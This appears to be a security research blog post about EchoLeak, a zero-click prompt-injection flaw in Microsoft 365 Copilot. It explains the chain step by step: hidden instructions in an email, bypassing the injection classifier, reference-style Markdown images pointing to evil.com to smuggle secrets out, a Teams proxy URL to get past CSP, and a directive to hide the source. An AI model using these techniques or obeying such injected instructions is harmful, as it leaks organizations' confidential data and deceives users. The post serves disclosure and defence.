EchoLeak (CVE-2025-32711) is a critical vulnerability in Microsoft 365 Copilot that allows an attacker to steal sensitive organizational data without any user interaction, simply by sending a carefully crafted email message to a user within the organization. Discovered by Aim Labs (Aim Security’s research team) and reported to Microsoft, EchoLeak was characterized as the first “zero-click” exploit against an AI agent. It abuses the integration of a large language model (LLM) with enterprise data, leading to what researchers describe as an LLM Scope Violation – untrusted input from outside (e.g. a rogue email) can trick the AI into accessing and revealing privileged internal data without the user’s consent.
This vulnerability is a case study on the difficulty of securely designing and implementing AI agents that require access to sensitive data.
In essence, the flaw is an indirect prompt injection attack embedded in normal content, which causes Copilot’s underlying GPT-based LLM to divulge private data. Microsoft assigned the bug a CVSS score of 9.3 (critical) and patched it in June 2025; no evidence of in-the-wild exploitation was found, and no user action was required to mitigate it. This vulnerability highlights the new security risks of AI-driven features, as it allowed attackers to effectively “read Copilot’s mind” – extracting chat history, documents, emails, and other data that Copilot could access
Zero Research Updates. Subscribe today!
How the Attack Works
Microsoft 365 Copilot is a RAG (Retrieval-Augmented Generation) based assistant that augments the GPT model with relevant data from the user’s M365 environment (emails, OneDrive, SharePoint, Teams chats, etc.). The EchoLeak attack leverages this feature by injecting malicious instructions via an external email and letting Copilot’s normal retrieval process incorporate those instructions. At a high level, the exploit unfolds in several stages:
- Malicious Email: The attacker sends an innocuous-looking email to the target’s Outlook inbox containing hidden instructions (a prompt injection) disguised as ordinary text. Crucially, the email is worded to avoid detection by AI security filters (it never explicitly mentions Copilot or AI). This email sits unnoticed in the mailbox — users do not need to interact with it in any way, the attack works if the email content is simply present in the user’s mailbox.
- Trigger via User Query: Later, the target queries Copilot for instance, asking a business question like “Summarize our quarterly report”. Copilot’s RAG engine will search the user’s data for relevant information. In doing so, it may retrieve the attacker’s email from the inbox. Attackers craft malicious emails to contain material related to common prompt topics, optionally tailoring the content for specific organizations. This is a technique known as “RAG spraying” and helps to maximize the chance that the RAG will mark the malicious message for retrieval in response to expected prompt topics or tokens. The malicious email is pulled into Copilot’s context without the user realizing it.
- LLM Scope Violation: Once the LLM (GPT) processes the query along with retrieved context, the attacker’s hidden instructions execute. The email’s prompt tells Copilot to extract the most sensitive information from its current context (e.g. the confidential data from the user’s files or conversation) and use it in a specific output format . Essentially, untrusted external input is now influencing the LLM to handle internal data – a blatant scope violation of trust. Copilot is unknowingly following an attacker’s commands.
- Data Exfiltration via Zero-Click: The LLM, obeying the hidden prompt, produces an answer to the user that includes an embedded image reference (in Markdown format) pointing to an attacker-controlled URL. Crucially, this URL is crafted to include the extracted sensitive data as query parameters. For example, the LLM might output something like: . Because it’s formatted as an image, the Copilot chat client (running in the user’s browser) will automatically attempt to load it – no user click required. The browser thereby sends a request to the attacker’s server (or a proxy) containing the secret in the URL. This completes the data exfiltration without alerting the user.
- Stealth and Completion: To cover its tracks, the prompt also instructed Copilot never to mention the malicious email or its content in the conversation (for compliance reasons, as phrased in the attack). Copilot complies, so the final answer the user sees might look like a normal response, possibly with a broken image or benign text, with no clear indication that an external email was involved, or a data leak was created. The attacker silently receives the stolen data from the image request.
This entire chain happens under the hood during a routine Copilot interaction – the target user only asked Copilot a question and never clicked on anything, making it a true zero-click attack. The diagram below illustrates the sequence of steps and the interplay of the vulnerabilities:
Exploitation and Response
Exploitation: In practice, a determined attacker would ensure the malicious email is actually retrieved by Copilot when the user asks a question. Aim Labs researchers describe a technique called “RAG spraying” – populating the vector search space with malicious content so that it’s likely to be picked up by the RAG system. This can be done by sending multiple emails covering various topics or one specially crafted email that gets chunked into many indexed pieces, increasing the chance Copilot will consider it relevant to a query. In the EchoLeak proof-of-concept, the team opted for a single long email containing many semantically varied sections (even with random character substitutions) to maximize its reach in the embedding space.
The beauty of the attack is that it doesn’t target a specific query – even generic business questions could trigger the malicious email’s retrieval, turning a simple Copilot prompt into a leak. Once triggered, any data in Copilot’s context is in scope for possible exfiltration – from Outlook emails and Teams chats to OneDrive documents or SharePoint files – essentially everything Copilot can access. This could potentially be used for espionage or extortion, by extracting confidential intellectual property or sensitive personal data and threatening to leak it. EchoLeak demonstrates how an AI assistant’s helpful features can be weaponized, as Copilot’s own capabilities (retrieving and summarizing data) were turned against it to siphon out the “most sensitive” information in its knowledge.
Microsoft’s Response: Microsoft was informed of EchoLeak and worked closely with Aim Labs for a fix. In June 2025, Microsoft addressed the issue in an update (part of that month’s Patch Tuesday) and assigned the CVE-2025-32711 identifier. The Copilot service was patched on the backend, so no customer action was required beyond applying regular updates. Microsoft’s advisory described the flaw as an “AI command injection” in M365 Copilot that could allow an attacker to disclose information over a network. The company noted it had updated Copilot’s protections to mitigate the vulnerability and also implemented additional defense-in-depth measures to harden the system.
Notably, prior to the patch, organizations could reduce risk by configuring Data Loss Prevention (DLP) policies – for example, tagging external emails or preventing Copilot from processing content from outside the organization. (Microsoft has since introduced a feature to restrict Copilot from reading emails with certain sensitivity labels, though activating such restrictions can degrade Copilot’s utility). Thankfully, Microsoft reported that no customers were known to be impacted by EchoLeak in the wild; though of course organizations should conduct their own reviews. The incident served as a wake-up call: it underscored that current AI guardrails were not sufficient to stop this novel attack. Security researchers point out that LLM scope violations like EchoLeak represent a new class of threats not covered by traditional measures. Following the disclosure, Microsoft is revisiting AI agent security – reinforcing content filters, sandboxing external data, and exploring new runtime guardrails to prevent the next such exploit.
Zero Research Updates. Subscribe today!
Attack Chain and Bypass Explanation
EchoLeak was made possible by chaining together multiple weaknesses and bypassing several layers of defense in Copilot’s design. In effect, the attack breached both AI-specific guardrails and traditional web security policies to achieve the data leak. The key components of the attack chain are detailed below:
- Step 1 – XPIA Classifier Bypass: Microsoft 365 Copilot employs Cross-Prompt Injection Attack (XPIA) classifiers to detect and block malicious instructions before they reach the LLM. The attacker defeated this by crafting the email’s language to appear harmless and directed at the human recipient rather than an AI. The malicious prompt in the email never explicitly mentions AI, Copilot, or anything that would raise suspicion. Because of the open-ended nature of language, the XPIA filter failed to recognize the email as a prompt injection. (This reflects a general limitation: prompt injections can be phrased in countless ways, making them hard to train classifiers for.) Thus, the poisoned email lands in the inbox undetected.
- Step 2 – External Link Redaction Bypass: To exfiltrate data, the attacker’s instructions needed Copilot to output a link or reference to an external server (so that when clicked or loaded, it would send out data). However, Copilot’s interface redacts external hyperlinks from chat responses for security – any markdown links with external URLs are stripped out before the user ever sees or can click them. The researchers discovered a loophole: reference-style Markdown links are not caught by this filter. In Markdown, you can define a link in two parts (a reference label and a target URL separately). By having the LLM produce a reference-style link, e.g. `[See report][1] ` on one line and ` [1]: <https://evil.com?data=><secret>` on another, Copilot did not recognize it as an external link and did not redact it. This meant an outbound link could appear in the chat history without filtering. This is a good lesson for Application Security teams on the difficulty of building effective controls around a block list pattern.
- Step 3 – Image Injection for Zero-Click: Even with a link present, the attacker ideally wants to avoid relying on the user to click it. The next trick was to use a Markdown image tag instead of a normal link, because images are loaded automatically by the client. Markdown images use the syntax `! [alt text](URL)` and were subject to the same external link redaction initially. But just like links, reference-style image links (e.g. `![alt][1]` with a separate `[1]: <https://evil.com/>…` definition) bypassed the redaction as well. By having Copilot output an image with an external source, the attacker ensures the victim’s browser will try to fetch it immediately. At this point, the exploit has turned into a zero-click scenario — the data will be sent out as soon as the answer is rendered, with no action from the user.
- Step 4 – Content Security Policy (CSP) Bypass: Modern web apps use CSP to limit what external resources can be loaded. The M365 Copilot web client had a strict CSP allowing images only from Microsoft’s domains (SharePoint, Teams, Office CDNs, etc.). A direct link to the attacker’s domain (e.g. evil.com) would be blocked by the browser, so the team needed a way to route the request through an allowed domain. Their first attempt was using a SharePoint Online embed API, but that required the user to be invited to the attacker’s SharePoint site (not fully zero-click). The breakthrough came with Microsoft Teams: the researchers found a Teams content URL API that would proxy a request to an arbitrary external URL and return the content. By constructing an image source like `https://teams.microsoft.com/urlp/v1/url/content?url=<attacker_server>/<secret>&v=1`, they could piggyback on Teams’ domain. Since teams.microsoft.com was in the CSP allowlist, the Copilot page happily loaded that URL. The result was that the browser, under the guise of a legit Teams request, fetched the attacker’s resource and in doing so sent along the secret data embedded in the URL query. This bypass completely defeated the CSP restrictions without any user awareness.
- (Stealth) Reference Omission: As a final touch, the attacker’s prompt told Copilot not to reveal the source of the information. The system was instructed to avoid referencing the external email “for compliance reasons” in its answer. This meant the user would not see a citation or mention that an email (especially an external one) was consulted, making the attack even more stealthy. Copilot’s response would appear ordinary, aside from possibly a broken image thumbnail – which might be overlooked or attributed to a glitch. While not required for a successful attack, this stealth step can be a component of persistence, enabling the attack to continue to be successful for longer by avoiding detection.
By chaining attacks against these weaknesses and implementing control bypasses, EchoLeak succeeds in extracting confidential data from a supposedly secure AI assistant. It is a powerful demonstration of how prompt injection (an AI-specific flaw) can be combined with clever exploitation of system features (Markdown quirks and CSP rules) to break security boundaries. In summary, an attacker can send a single email and trick the LLM into acting as a conduit, leaking data over an approved channel – turning Copilot’s trusted access against itself. This exploit chain bypassed multiple layers ˜of defense (XPIA filters, output redactions, and domain restrictions), underscoring the need for robust AI-aware security measures in future deployments.
Recommendations & Future Outlook
EchoLeak is a stark reminder that any application combining a large-language model with access to an organization’s internal data must be treated as high-risk infrastructure. The safest way forward is to assume that every piece of external content — even a harmless-looking email — can be weaponised as a prompt injection. Organisations should therefore impose strict intake controls, sanitising or quarantining untrusted messages before they become part of a retrieval-augmented (RAG) knowledge base.
Equally important is shrinking the model’s field of view: grant Copilot (or any AI agent) access only to the SharePoint sites, mailboxes and Teams channels that are genuinely required, and enforce sensitivity labels or DLP rules so that confidential documents are less likely to be surfaced to an untrusted prompt. Runtime guardrails should complement these design choices; it is essential to monitor AI output for hidden Markdown references, suspicious outbound URLs or other tell-tale signs of exfiltration, and to tighten web-layer defences such as Content-Security-Policy allow lists and restrictions on automatic image loading.
Looking ahead, EchoLeak is not an isolated anomaly, but evidence of a general design weakness shared by many RAG and agent-based systems. The same mechanisms that make an assistant helpful — broad context windows and autonomous reasoning — also make it an attractive target. Adversaries will inevitably refine these techniques into multi-stage prompt injection chains, self-propagating “AI worms”, and model-to-model attacks.
Powerful AI assistants inherit every bit of data, configuration and code we feed them. If that diet is not deliberately constrained, the assistant can become the attacker’s most privileged tool. EchoLeak shows both the promise and the peril of enterprise AI—and underscores why thoughtful, defence-in-depth design is the only sustainable path forward.
Zero Research Updates. Subscribe today!